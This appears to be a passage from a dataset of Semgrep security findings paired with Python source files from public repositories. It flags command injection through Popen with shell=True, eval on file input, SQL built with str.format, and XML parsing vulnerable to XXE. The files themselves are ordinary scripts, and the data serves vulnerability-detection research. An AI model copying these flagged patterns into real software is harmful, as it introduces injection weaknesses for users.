[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_535c6026266267e7_2b5812aa", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 104, "line_end": 104, "column_start": 15, "column_end": 99, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/535c6026266267e7.py", "start": {"line": 104, "col": 15, "offset": 4903}, "end": {"line": 104, "col": 99, "offset": 4987}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_535c6026266267e7_5c7416e2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'Popen' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 104, "line_end": 104, "column_start": 32, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmp10dxl77l/535c6026266267e7.py", "start": {"line": 104, "col": 32, "offset": 4920}, "end": {"line": 104, "col": 62, "offset": 4950}, "extra": {"message": "Detected subprocess function 'Popen' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_535c6026266267e7_7f4e7afe", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 104, "line_end": 104, "column_start": 70, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/535c6026266267e7.py", "start": {"line": 104, "col": 70, "offset": 4958}, "end": {"line": 104, "col": 74, "offset": 4962}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_535c6026266267e7_d51ec348", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 110, "line_end": 110, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/535c6026266267e7.py", "start": {"line": 110, "col": 9, "offset": 5187}, "end": {"line": 110, "col": 22, "offset": 5200}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security", "security" ]
[ "LOW", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 104, 104, 104 ]
[ 104, 104, 104 ]
[ 15, 32, 70 ]
[ 99, 62, 74 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Detected subprocess funct...
[ 7.5, 7.5, 7.5 ]
[ "LOW", "MEDIUM", "HIGH" ]
[ "HIGH", "MEDIUM", "LOW" ]
Show_Wifi_Strength_General.py
/Show_Wifi_Strength_General.py
ShivamSoni24/Show-Wifi-Strength
Apache-2.0
2024-11-18T22:36:38.228737+00:00
1,582,082,454,000
038747708bdfea4e6879cffecdc649a83176421f
3
{ "blob_id": "038747708bdfea4e6879cffecdc649a83176421f", "branch_name": "refs/heads/master", "committer_date": 1582082454000, "content_id": "5856070e20747b5f2b46ff78b5b652bd0dbefb09", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "a9071778b3c5168abdeb107e55d96b244ceab474", "extension": "py", "filename": "acc_vs_freq.py", "fork_events_count": 3, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 167672464, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1869, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/analytics/acc_vs_freq.py", "provenance": "stack-edu-0054.json.gz:587429", "repo_name": "lyy1994/reformer", "revision_date": 1582082454000, "revision_id": "b6247d3e44973992d7ed67c8d8fba6d509bebeae", "snapshot_id": "5682b6c0ad4b3930bd8b334b88ad58dddb04ef5a", "src_encoding": "UTF-8", "star_events_count": 15, "url": "https://raw.githubusercontent.com/lyy1994/reformer/b6247d3e44973992d7ed67c8d8fba6d509bebeae/analytics/acc_vs_freq.py", "visit_date": "2020-04-18T18:02:20.976285" }
2.640625
stackv2
from matplotlib import pyplot as plt import numpy as np import codecs import argparse parse = argparse.ArgumentParser() parse.add_argument('-same', nargs='+', help='translations') parse.add_argument('-trans', type=str, required=True, help='references') parse.add_argument('-vocab', type=str, required=True, help='vocabulary') parse.add_argument('-b', type=int, default=5, help='#bins') parse.add_argument('-escape', type=bool, default=False, help='escape long sentences') args = parse.parse_args() datas = [] for idx, s in enumerate(args.same): with codecs.open(s, 'r', encoding='utf-8') as f: datas.append([[eval(e) for e in line.strip().split()] for line in f.readlines()]) with codecs.open(args.trans, 'r', encoding='utf-8') as f: trans = [line.strip().split() + ['<eos>'] for line in f.readlines()] vocab = {} with codecs.open(args.vocab, 'r', encoding='utf-8') as f: for line in f.readlines(): word, freq = line.strip().split() vocab[word] = eval(freq) b = args.b gap = len(vocab) // b for data, f in zip(datas, args.same): same = [0.] * b all_ = [0.] * b for l, line in enumerate(data): for w, s in enumerate(line): try: freq = vocab[trans[l][w]] except KeyError: continue if args.escape: try: same[freq // gap] += s all_[freq // gap] += 1 except IndexError: continue else: same[min(freq // gap, b - 1)] += s all_[min(freq // gap, b - 1)] += 1 acc = np.asarray(same) / np.asarray(all_) print('{} accuracy: {}'.format(f, acc)) plt.plot(np.arange(1, b + 1) * gap, acc, label=f) plt.xlabel('Frequency') plt.ylabel('Accuracy') plt.title('Accuracy vs. Frequency') plt.legend() plt.show()
58
31.22
89
17
469
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_0269522f40c4af72_ae05b6d9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 24, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/0269522f40c4af72.py", "start": {"line": 18, "col": 24, "offset": 624}, "end": {"line": 18, "col": 31, "offset": 631}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_0269522f40c4af72_f24a1245", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 23, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/0269522f40c4af72.py", "start": {"line": 27, "col": 23, "offset": 988}, "end": {"line": 27, "col": 33, "offset": 998}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-95", "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 18, 27 ]
[ 18, 27 ]
[ 24, 23 ]
[ 31, 33 ]
[ "A03:2021 - Injection", "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "Detected the use of eval(). eval() can be dangerous if used...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
acc_vs_freq.py
/analytics/acc_vs_freq.py
lyy1994/reformer
BSD-3-Clause
2024-11-18T22:36:38.926738+00:00
1,479,898,938,000
a278923105bd6c2ecf71fff7c6d69ca1d6ea0758
3
{ "blob_id": "a278923105bd6c2ecf71fff7c6d69ca1d6ea0758", "branch_name": "refs/heads/master", "committer_date": 1479898938000, "content_id": "b8968bf34226dbdc674e0e36edeae214ba277dbf", "detected_licenses": [ "MIT" ], "directory_id": "c64420b635ee606b0996760d873a9e8bebff6c43", "extension": "py", "filename": "score.py", "fork_events_count": 5, "gha_created_at": 1479032103000, "gha_event_created_at": 1481804946000, "gha_language": "JavaScript", "gha_license_id": null, "github_id": 73608278, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1126, "license": "MIT", "license_type": "permissive", "path": "/src/webservice/model/question/score.py", "provenance": "stack-edu-0054.json.gz:587439", "repo_name": "VMatrixTeam/open-matrix", "revision_date": 1479898938000, "revision_id": "91fee5bfa6891dbb1fe0f7c860ceb664fc61e00d", "snapshot_id": "b15ef97a04460e7563c92b3a7adf3e1d637a03f2", "src_encoding": "UTF-8", "star_events_count": 16, "url": "https://raw.githubusercontent.com/VMatrixTeam/open-matrix/91fee5bfa6891dbb1fe0f7c860ceb664fc61e00d/src/webservice/model/question/score.py", "visit_date": "2020-07-31T04:52:46.044983" }
2.609375
stackv2
import model import tornado.gen from MySQLdb import escape_string import random class Score(object): @staticmethod @tornado.gen.coroutine def get_user_score(user_id): result = yield model.MatrixDB.get( """ select sum(score) as score from question_score where user_id = {0} """.format( user_id ) ) raise tornado.gen.Return(result.score) @staticmethod @tornado.gen.coroutine def get_rank_list(): result = yield model.MatrixDB.query( """ select user_id, sum(score) as score from question_score group by user_id order by score desc limit 0,10 """ ) raise tornado.gen.Return(result) @staticmethod @tornado.gen.coroutine def add_score(socre, reason, user_id): socre = int((random.random() + 0.5) * socre) yield model.MatrixDB.execute( """ insert into question_score (user_id, score, reason) values ({0}, {1}, '{2}') """.format(user_id, socre, escape_string(reason)) )
42
25.81
119
16
248
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_8a67dd760ef0b306_d299c2b7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 42, "column_start": 15, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmp10dxl77l/8a67dd760ef0b306.py", "start": {"line": 38, "col": 15, "offset": 921}, "end": {"line": 42, "col": 10, "offset": 1125}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_8a67dd760ef0b306_6ff7f920", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 42, "column_start": 15, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmp10dxl77l/8a67dd760ef0b306.py", "start": {"line": 38, "col": 15, "offset": 921}, "end": {"line": 42, "col": 10, "offset": 1125}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "HIGH" ]
[ 38, 38 ]
[ 42, 42 ]
[ 15, 15 ]
[ 10, 10 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa...
[ 5, 7.5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
score.py
/src/webservice/model/question/score.py
VMatrixTeam/open-matrix
MIT
2024-11-18T22:36:49.042881+00:00
1,433,476,194,000
d89438fcf342c8335aa3322ff6f789c6461962b7
3
{ "blob_id": "d89438fcf342c8335aa3322ff6f789c6461962b7", "branch_name": "refs/heads/master", "committer_date": 1433476194000, "content_id": "c3b2c67104372469b1c4217fbc55b02ae51432b1", "detected_licenses": [ "MIT" ], "directory_id": "2a9d8a56ebba5e11ccd31afeeda6fd1892c6b228", "extension": "py", "filename": "osmxmlparser.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3324, "license": "MIT", "license_type": "permissive", "path": "/osmxmlparser.py", "provenance": "stack-edu-0054.json.gz:587556", "repo_name": "afcarl/osmtools", "revision_date": 1433476194000, "revision_id": "581da9129f489cb57763578127ead42fa43b5c1f", "snapshot_id": "4ae7a55d63483e85d86771dda7b34cf7c4046a14", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/afcarl/osmtools/581da9129f489cb57763578127ead42fa43b5c1f/osmxmlparser.py", "visit_date": "2020-03-18T15:01:19.818347" }
3
stackv2
#!/usr/bin/env python import xml.parsers.expat ## Primitive ## class Primitive(object): def __init__(self, attrs): if 'id' in attrs: self.nid = int(attrs['id']) else: self.nid = None self.attrs = attrs self.names = [] self.props = [] return def __repr__(self): return ('<%s: attrs=%r, tags=%r>' % (self.__class__.__name__, self.attrs, self.tags)) def add_tag(self, attrs): assert 'k' in attrs and 'v' in attrs k = attrs['k'] v = attrs['v'] if k == 'name' or k.startswith('name:'): self.names.append((k, v)) else: self.props.append((k, v)) return ## Node ## class Node(Primitive): def __init__(self, attrs): Primitive.__init__(self, attrs) self.pos = None if 'lat' in attrs and 'lon' in attrs: self.pos = (float(attrs['lat']), float(attrs['lon'])) return ## Way ## class Way(Primitive): def __init__(self, attrs): Primitive.__init__(self, attrs) self.nodes = [] return def add_node(self, attrs): if 'ref' in attrs: self.nodes.append(int(attrs['ref'])) return ## Relation ## class Relation(Primitive): def __init__(self, attrs): Primitive.__init__(self, attrs) self.members = [] return def add_member(self, attrs): if 'ref' in attrs: self.members.append(int(attrs['ref'])) return ## OSMXMLParser ## class OSMXMLParser(object): def __init__(self): self._expat = xml.parsers.expat.ParserCreate() self._expat.StartElementHandler = self._start_element self._expat.EndElementHandler = self._end_element self._expat.CharacterDataHandler = self._char_data self.reset() return def reset(self): self._stack = [] self._obj = None return def feed(self, data): self._expat.Parse(data) return def add_object(self, obj): raise NotImplementedError def _start_element(self, name, attrs): self._stack.append((name, attrs)) # if name == 'tag': if isinstance(self._obj, Primitive): self._obj.add_tag(attrs) elif name == 'nd': if isinstance(self._obj, Way): self._obj.add_node(attrs) elif name == 'member': if isinstance(self._obj, Relation): self._obj.add_member(attrs) elif name == 'node': assert self._obj is None self._obj = Node(attrs) elif name == 'way': assert self._obj is None self._obj = Way(attrs) elif name == 'relation': assert self._obj is None self._obj = Relation(attrs) return def _end_element(self, name): assert self._stack (name0,attrs0) = self._stack.pop() assert name == name0 # if name in ('node', 'way', 'relation'): assert self._obj is not None self.add_object(self._obj) self._obj = None return def _char_data(self, data): #print (data, ) return
137
23.26
65
15
782
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_e5223ab8d90c3f7d_c6d12fee", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 1, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/e5223ab8d90c3f7d.py", "start": {"line": 2, "col": 1, "offset": 22}, "end": {"line": 2, "col": 25, "offset": 46}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 2 ]
[ 2 ]
[ 1 ]
[ 25 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
osmxmlparser.py
/osmxmlparser.py
afcarl/osmtools
MIT
2024-11-18T20:23:12.994262+00:00
1,571,500,973,000
f6d8ffc7b74a6bacafd7e40bc0cfa35fd1666576
2
